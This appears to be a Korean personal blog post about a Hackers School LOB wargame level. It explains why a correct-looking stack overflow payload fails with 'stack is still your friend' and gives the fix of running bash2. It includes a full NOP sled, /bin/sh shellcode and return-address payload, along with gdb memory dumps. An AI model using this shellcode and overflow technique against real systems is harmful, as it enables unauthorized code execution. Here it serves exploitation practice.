[PuTTY/LOB] "Stack is still your friend"; 분명 맞는 페이로드를 짰는데 틀렸을 때
두비니
·2020. 7. 16. 11:33
LOB를 풀다보면 Segmentation Fault도 아니고 "stack is still your friend"가 뜰 때가 있다.
결론부터 얘기하면 bash2입력하세요.
자 갈길갈사람들은 가시고 "왜?"가 궁금하신 분들은 나머지 글을 읽읍시다.
아니 난 스택 잘 맞춰줬는데 도대체 뭐가 문제지? gdb로 한번 분석을 해봅시다.
문제는 lob wolfman 일부를 가져왔습니다.
[orc@localhost orc]$ gdb -q lolfman
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %esp,%ebp
0x8048503 <main+3>: sub $0x2c,%esp
0x8048506 <main+6>: cmpl $0x1,0x8(%ebp)
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push $0x8048640
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add $0x4,%esp
0x8048519 <main+25>: push $0x0
...(생략)
End of assembler dump.
(gdb) b * main+17
어차피 Stack is still your friend 뜨기전에 멈춰서 확인해줘야하기 때문에, main+17에 브레이크포인트를 걸어줍니다.
(gdb) r `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`
Starting program: /home/orc/lolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`
Breakpoint 1, 0x804850a in main ()
(gdb) x/100x $esp
0xbffffb1c: 0x40021ca0 0xbffffb48 0x4000a970 0x400f855b
...(생략)
0xbffffc7c: 0x2f003638 0x656d6f68 0x63726f2f 0x6c6f6c2f
---Type <return> to continue, or q <return> to quit---
0xbffffc8c: 0x6e616d66 0x90909000 0x90909090 0x90909090
0xbffffc9c: 0x90909090 0x90909090 0x6850c031 0x68732f2f
(gdb) x/24x 0xbffffc8c
0xbffffc8c: 0x6e616d66 0x90909000 0x90909090 0x90909090
0xbffffc9c: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0xbffffcac: 0x69622f68 0x50e3896e 0x89e18953 0xcd0bb0c2
0xbffffcbc: 0x00fc9c80 0x5353454c 0x4e45504f 0x752f7c3d
0xbffffccc: 0x622f7273 0x6c2f6e69 0x70737365 0x2e657069
0xbffffcdc: 0x25206873 0x53550073 0x414e5245 0x003d454d
보니깐 0xbffffc8c에서 0x90이 시작하길래 0xbffffc8c을 기준으로 한번 더 봐줬습니다.
보면 쉘코드 잘 넣어주다가
0xbffffcbc: 0x00fc9c80 0x5353454c 0x4e45504f 0x752f7c3d
저런, 주소가 \x9c\xfc\x00\x4c로 입력이 되버렸네요. 저는 분명히 페이로드에 \x9c\xfc\xff\xbf로 주소를 입력했는데 이게 무슨일일까요?
이건 bash의 문제입니다.
0xff를 인식하지 못하고 0x00으로 인식해버립니다.
근데 지금 gdb상태 보니깐 0x00으로 인식하고 그 뒤에있는 값은 아예 씹어버리는것같네요.
아무튼 그런 이유로 stack is still your friend가 뜨는 것이니 bash2를 꼭 입력합시다.
:결론:
1. gdb를 가까이 합시다.
2. bash2꼭 입력하기
끝!
제 LOB 풀이 게시판: https://dokhakdubini.tistory.com/category/War%20Games/%ED%95%B4%EC%BB%A4%EC%8A%A4%EC%BF%A8%20LOB
'나의 고혈압걸리는 에러일기' 카테고리의 다른 글
[Linux] E: Could not get lock /var/lib/dpkg/lock-frontend (0) | 2020.07.27 |
---|---|
[pwntools] Syntax error: invalid syntax 뜰 때 (0) | 2020.07.19 |
[주피터노트북] Creating Notebook Failed :: Permission denied: .ipynb_checkpoints (0) | 2020.04.10 |
[C언어오류] 에러코드 C2143 :: 구문 오류 : ';'이(가) '형식'앞에 없습니다. (1) | 2020.04.07 |
[C언어오류] 예외가 발생함:: 예외가 throw됨: 읽기 액세스 위반입니다. (2) | 2020.04.04 |